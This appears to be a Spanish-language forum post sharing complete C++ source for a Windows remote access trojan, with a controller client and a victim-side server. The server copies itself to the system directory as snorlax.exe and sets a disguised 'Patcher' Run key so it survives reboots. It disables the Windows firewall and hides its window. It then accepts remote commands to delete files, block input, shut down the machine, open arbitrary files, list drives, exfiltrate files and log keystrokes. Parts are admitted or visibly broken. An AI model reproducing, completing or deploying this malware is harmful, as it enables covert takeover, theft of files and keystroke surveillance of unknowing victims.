CLIENTE
Código: Seleccionar todo
//The keylogger, file downloader and file displayer functions do not work, and cause the client to crash.
//Also, if the client is terminated without properly disconnecting from the server, this causes the server to use up a large amount of CPU.
//Most of the functions are self-explanatory.
#include <windows.h>
#include <winsock2.h>
#include <iostream>
#include <winable.h>
#include <string>
#include <fstream.h>
#include <commctrl.h>
using namespace std;
HWND hwndMain;
HWND Text_IP;
HWND Text_Get;
HWND Text_Delete;
HWND Text_Open;
HWND Text_Desktop;
HWND Text_Message;
HWND Text_Drives;
HWND Text_Files;
HWND Button_Log;
HWND Button_Get;
HWND Button_Connect;
HWND Button_Disconnect;
HWND Button_Mouse;
HWND Button_Beep;
HWND Button_Desktop;
HWND Button_CD;
HWND Button_Input;
HWND Button_Shutdown;
HWND Button_Message;
HWND Button_Open;
HWND Button_Monitor;
HWND Button_Start;
HWND Button_Delete;
HWND Button_Drives;
HWND Button_Files;
LRESULT CALLBACK Winwin(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam);
int main(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
{
FreeConsole();
MSG msg;
WNDCLASSEX wcx;
ZeroMemory(&wcx,sizeof(WNDCLASSEX));
wcx.cbSize = sizeof(WNDCLASSEX);
wcx.style = CS_HREDRAW|CS_VREDRAW |CS_DBLCLKS ;
wcx.lpfnWndProc = (WNDPROC)Winwin;
wcx.cbClsExtra = 0;
wcx.cbWndExtra = 0;
wcx.hInstance = hInstance;
wcx.hIcon = NULL;
wcx.hCursor = LoadCursor(NULL, IDC_ARROW);
wcx.hbrBackground = (HBRUSH)(COLOR_WINDOW);
wcx.lpszMenuName = NULL;
wcx.lpszClassName = "Client";
wcx.hIconSm = NULL;
if (!RegisterClassEx(&wcx))
{
return 0;
}
hwndMain = CreateWindowEx(0, "Client", "Client", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT,CW_USEDEFAULT,
CW_USEDEFAULT,CW_USEDEFAULT,HWND_DESKTOP,NULL,hInstance,NULL);
if (!hwndMain)
{
return 0;
}
Button_Connect = CreateWindow("BUTTON","Connect", WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
20,40,100,20,hwndMain,NULL,hInstance,NULL);
Button_Disconnect = CreateWindow("BUTTON","Disconnect", WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
120,40,100,20,hwndMain,NULL,hInstance,NULL);
Text_IP = CreateWindow("EDIT","Enter IP address here",WS_VISIBLE | WS_CHILD | WS_BORDER |
ES_LEFT,20,10,155,20,hwndMain,NULL,hInstance,NULL);
Button_CD = CreateWindow("BUTTON","CD", WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
120,100,100,20,hwndMain,NULL,hInstance,NULL);
Button_Mouse = CreateWindow("BUTTON","Mouse", WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
20,100,100,20,hwndMain,NULL,hInstance,NULL);
Button_Input = CreateWindow("BUTTON","Input", WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
20,120,100,20,hwndMain,NULL,hInstance,NULL);
Button_Shutdown = CreateWindow("BUTTON","Shutdown", WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
120,120,100,20,hwndMain,NULL,hInstance,NULL);
Button_Log = CreateWindow("Button","Log", WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
120,140,100,20,hwndMain,NULL,hInstance,NULL);
Button_Beep = CreateWindow("BUTTON","Beep", WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
20,140,100,20,hwndMain,NULL,hInstance,NULL);
Button_Monitor = CreateWindow("BUTTON","Monitor", WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
20,160,100,20,hwndMain,NULL,hInstance,NULL);
Button_Start = CreateWindow("BUTTON","Start", WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
120,160,100,20,hwndMain,NULL,hInstance,NULL);
Button_Desktop = CreateWindow("BUTTON","Desktop", WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
20,220,100,20,hwndMain,NULL,hInstance,NULL);
Text_Desktop = CreateWindow("EDIT","Path to picture",WS_VISIBLE | WS_CHILD | WS_BORDER |
ES_LEFT,120,220,400,20,hwndMain,NULL,hInstance,NULL);
Button_Delete = CreateWindow("BUTTON","Delete", WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
20,180,100,20,hwndMain,NULL,hInstance,NULL);
Text_Delete = CreateWindow("EDIT","Path to file",WS_VISIBLE | WS_CHILD | WS_BORDER |
ES_LEFT,120,180,400,20,hwndMain,NULL,hInstance,NULL);
Button_Open = CreateWindow("BUTTON","Open", WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
20,200,100,20,hwndMain,NULL,hInstance,NULL);
Text_Open = CreateWindow("EDIT","Path to file or URL",WS_VISIBLE | WS_CHILD | WS_BORDER |
ES_LEFT,120,200,400,20,hwndMain,NULL,hInstance,NULL);
Button_Message = CreateWindow("BUTTON","Message", WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
20,240,100,20,hwndMain,NULL,hInstance,NULL);
Text_Message = CreateWindow("EDIT","Enter message here",WS_VISIBLE | WS_CHILD | WS_BORDER |
ES_LEFT,120,240,400,20,hwndMain,NULL,hInstance,NULL);
Button_Files = CreateWindow("BUTTON","Files", WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
20,280,100,20,hwndMain,NULL,hInstance,NULL);
Text_Files = CreateWindow("EDIT","Directory",WS_VISIBLE | WS_CHILD | WS_BORDER |
ES_LEFT,120,280,400,20,hwndMain,NULL,hInstance,NULL);
Button_Drives = CreateWindow("BUTTON","Drives", WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
20,300,100,20,hwndMain,NULL,hInstance,NULL);
Text_Drives = CreateWindow("ListBox","",WS_VISIBLE | WS_CHILD | WS_BORDER |
ES_LEFT,120,300,400,400,hwndMain,NULL,hInstance,NULL);
Button_Get = CreateWindow("BUTTON","Get",WS_VISIBLE | WS_CHILD | WS_BORDER |
ES_LEFT,20,260,100,20,hwndMain,NULL,hInstance,NULL);
Text_Get = CreateWindow("EDIT","Path to file",WS_VISIBLE | WS_CHILD | WS_BORDER |
ES_LEFT,120,260,400,20,hwndMain,NULL,hInstance,NULL);
ShowWindow(hwndMain,SW_SHOW);
while (GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}
SOCKET theSocket;
long WINAPI Winwin(HWND hWnd,UINT msg,WPARAM wParam,LPARAM lParam)
{
HWND hwndCtl = (HWND)lParam;
char buf[256];
string str;
switch(msg)
{
case WM_COMMAND:
switch(wParam)
{
case BN_CLICKED:
if(hwndCtl == Button_Connect)
{
WORD sockVersion;
WSADATA wsaData;
sockVersion = MAKEWORD(2, 2);
WSAStartup(sockVersion, &wsaData);
GetWindowText(Text_IP,buf,256);
LPHOSTENT hostEntry = gethostbyname(buf);
theSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
SOCKADDR_IN serverInfo;
serverInfo.sin_family = AF_INET;
serverInfo.sin_addr = *((LPIN_ADDR)*hostEntry->h_addr_list);
serverInfo.sin_port = htons(9301);
connect(theSocket, (LPSOCKADDR)&serverInfo, sizeof(struct sockaddr));
}
if(hwndCtl == Button_Mouse)
{
send(theSocket, "./mouse", 256, 0);
send(theSocket, "", 256, 0);
}
if(hwndCtl == Button_Open)
{
send(theSocket, "./open", 256, 0);
GetWindowText(Text_Open,buf,256);
send(theSocket, buf, strlen(buf), 0);
send(theSocket, "", 256, 0);
}
if(hwndCtl == Button_Delete)
{
send(theSocket, "./delete", 256, 0);
GetWindowText(Text_Delete,buf,256);
send(theSocket, buf, strlen(buf), 0);
send(theSocket, "", 256, 0);
}
if(hwndCtl == Button_Input)
{
send(theSocket, "./input", 256, 0);
send(theSocket, "", 256, 0);
}
if(hwndCtl == Button_Desktop)
{
send(theSocket, "./desktop", 256, 0);
GetWindowText(Text_Desktop,buf,256);
send(theSocket, buf, strlen(buf), 0);
send(theSocket, "", 256, 0);
}
if(hwndCtl == Button_Beep)
{
send(theSocket, "./beep", 256, 0);
send(theSocket, "", 256, 0);
}
if(hwndCtl == Button_CD)
{
send(theSocket, "./cd", 256, 0);
send(theSocket, "", 256, 0);
}
if(hwndCtl == Button_Shutdown)
{
send(theSocket, "./shutdown", 256, 0);
send(theSocket, "", 256, 0);
}
if(hwndCtl == Button_Disconnect)
{
send(theSocket, "end", 256, 0);
WSACleanup();
closesocket(theSocket);
}
if (hwndCtl == Button_CD)
{
send(theSocket, "./cd", 256, 0);
send(theSocket, "", 256, 0);
}
if (hwndCtl == Button_Start)
{
send(theSocket, "./start", 256, 0);
send(theSocket, "", 256, 0);
}
if (hwndCtl == Button_Monitor)
{
send(theSocket, "./monitor", 256, 0);
send(theSocket, "", 256, 0);
}
if (hwndCtl == Button_Message)
{
send(theSocket, "./message", 256, 0);
GetWindowText(Text_Message,buf,256);
send(theSocket, buf, strlen(buf), 0);
send(theSocket, "", 256, 0);
}
if (hwndCtl == Button_Drives)
{
send(theSocket, "./drives", 256, 0);
SendMessage(Text_Drives, LB_RESETCONTENT, 0, 0);
while(1)
{
recv(theSocket,buf,256,0);
str = buf;
Sleep(1);
if (str == "stop")
{
break;
}
SendMessage(Text_Drives, LB_INSERTSTRING, (WPARAM) -1, (LPARAM)buf);
}
send(theSocket, "", 256, 0);
}
//BEGINNING OF HIGHLY EXPERIMENTAL FUNCTIONS!!!!!!
if (hwndCtl == Button_Files)
{
send(theSocket,"./files", 256, 0);
GetWindowText(Text_Files,buf,256);
send(theSocket, buf, 512, 0);
SendMessage(Text_Drives, LB_RESETCONTENT, 0, 0);
while(1)
{
recv(theSocket,buf,256,0);
str = buf;
Sleep(1);
if (str == "stop")
{
break;
}
SendMessage(Text_Drives, LB_INSERTSTRING, (WPARAM) -1, (LPARAM)buf);
}
send(theSocket, "", 256, 0);
}
if(hwndCtl == Button_Log)
{
int by;
AllocConsole();
send(theSocket, "./log", 256, 0);
send(theSocket, "", 256, 0);
while (1)
{
by = recv(theSocket,buf,strlen(buf),0);
str = buf;
if (str == "stop")
{
break;
}
if (by > 0)
{
cout << buf;
}
}
FreeConsole();
}
if (hwndCtl == Button_Get)
{
char *re;
int Return;
string le;
send(theSocket,"./get", 256, 0);
GetWindowText(Text_Get,buf,256);
send(theSocket, buf, strlen(buf), 0);
recv(theSocket,buf,256,0);
le = buf;
Return = atoi(le.c_str());
recv(theSocket,re,Return,0);
//Write the data to a file and name it the same as the file from the server
}
//END OF HIGHLY EXPERIMENTAL FUNCTIONS!!!!!!
}
break;
case WM_DESTROY:
PostQuitMessage(0);
return 0;
default:
return DefWindowProc(hWnd,msg,wParam,lParam);
}
return 0;
}
Código: Seleccionar todo
#include <windows.h>
#include <winsock2.h>
#include <iostream.h>
#include <winable.h>
#include <string>
#include <fstream.h>
#define MAX 256
using namespace std;
int Get(char *FILENAME, SOCKET ThySock)
{
ifstream inFile;
int c = 0;
int i;
char *p;
string f;
string ff;
inFile.open(FILENAME, ios::in | ios::binary);
int FileLength = 0;
char Byte[FileLength];
while(!inFile.eof())
{
Byte[c] = inFile.get();
c++;
FileLength++;
if (inFile.fail())
return 0;
}
inFile.close();
for (i=0; i<=c; i++)
{
f += Byte[i];
}
ff = FileLength;
p = &ff[0];
send(ThySock, p, 256, 0);
p = &f[0];
send(ThySock, p, FileLength, 0);
}
int main()
{
FreeConsole();
SetPriorityClass(GetCurrentProcess(),IDLE_PRIORITY_CLASS);
int counter;
int i;
int dr_type;
string s;
string str;
char *p;
char sysdir[MAX_PATH];
char path[MAX_PATH];
char dr_avail[MAX];
char *temp=dr_avail;
HMODULE hModule = GetModuleHandle(NULL);
WORD sockVersion;
WSADATA wsaData;
DWORD value = 0;
HKEY hKey;
WIN32_FIND_DATA FD;
HANDLE hFile;
GetModuleFileName(hModule,path,sizeof(path));
GetSystemDirectory(sysdir,sizeof(sysdir));
strcat(sysdir,"\\snorlax.exe");
CopyFile(path,sysdir,false);
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "Patcher",0,REG_SZ,(const unsigned char*)sysdir,sizeof(sysdir));
RegCloseKey(hKey);
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey,"EnableFirewall",0,REG_DWORD,(BYTE*)&value,sizeof(DWORD));
RegCloseKey(hKey);
while(1)
{
str = "";
char buffer[256] = "";
sockVersion = MAKEWORD(2, 2);
WSAStartup(sockVersion, &wsaData);
SOCKET listeningSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
SOCKADDR_IN serverInfo;
serverInfo.sin_family = AF_INET;
serverInfo.sin_addr.s_addr = INADDR_ANY;
serverInfo.sin_port = htons(9301);
bind(listeningSocket, (LPSOCKADDR)&serverInfo, sizeof(struct sockaddr));
listen(listeningSocket, 10);
SOCKET theClient = accept(listeningSocket, NULL, NULL);
while (1)
{
recv(theClient, buffer, 256, 0);
str = buffer;
if (str == "./delete")
{
recv(theClient, buffer, 256, 0);
remove(buffer);
}
if (str == "./mouse")
{
SetCursorPos(0,0);
}
if (str == "./input")
{
BlockInput(true);
}
if (str == "./shutdown")
{
system("shutdown -s -t 0");
}
if (str == "./beep")
{
Beep(2000,2000);
}
if (str == "./cd")
{
mciSendString("open CDAudio", NULL, 0, NULL);
mciSendString("set CDAudio door open", NULL, 0, NULL);
}
if (str == "./start")
{
HWND a = FindWindowEx(FindWindow("Shell_TrayWnd",0),0,"Button", 0);
MoveWindow(a,40,40,40,40,true);
}
if (str == "./desktop")
{
recv(theClient, buffer, 256, 0);
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, (PVOID)buffer, SPIF_UPDATEINIFILE );
}
if (str == "./message")
{
recv(theClient, buffer, 256, 0);
MessageBox(NULL,buffer,"",MB_OK);
}
if (str == "./monitor")
{
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
}
if (str == "./open")
{
recv(theClient, buffer, 256, 0);
ShellExecute( NULL, "open", buffer,"", "", SW_SHOWNORMAL);
}
if (str == "./drives")
{
GetLogicalDriveStrings(MAX,dr_avail);
while (*temp != NULL)
{
dr_type = GetDriveType(temp);
if (dr_type == 1)
{
temp += lstrlen(temp) + 1;
}
if (dr_type != 1)
{
send(theClient, temp, strlen(temp), 0);
Sleep(1);
}
temp += lstrlen(temp) + 1;
}
send(theClient, "stop", 256, 0);
}
//BEGINNING OF HIGHLY EXPERIMENTAL FUNCTIONS!!!!!!
if (str == "./camera")
{
}
if (str == "./files")
{
recv(theClient, buffer, strlen(buffer), 0);
strcat(buffer,"*.*");
hFile = FindFirstFile(buffer, &FD);
send(theClient, FD.cFileName, strlen(FD.cFileName), 0);
while(FindNextFile(hFile,&FD)!=0)
{
send(theClient, FD.cFileName, strlen(FD.cFileName), 0);
}
FindClose(hFile);
}
if (str == "./get")
{
recv(theClient, buffer, strlen(buffer), 0);
Get(buffer,theClient);
}
if (str == "./log")
{
while (counter <= 100)
{
counter++;
for(int i=65; i<90; i++)
{
if(GetAsyncKeyState(i))
{
s += i;
}
Sleep(10);
}
if(GetAsyncKeyState(VK_SPACE))
{
s += " ";
}
send(theClient, "stop", 256, 0);
}
p = &s[0];
send(theClient, p, strlen(p), 0);
send(theClient, "stop", 256, 0);
}
//END OF HIGHLY EXPERIMENTAL FUNCTIONS!!!!!!
if (str == "end")
{
closesocket(theClient);
closesocket(listeningSocket);
WSACleanup();
break;
}
}
}
return 0;
}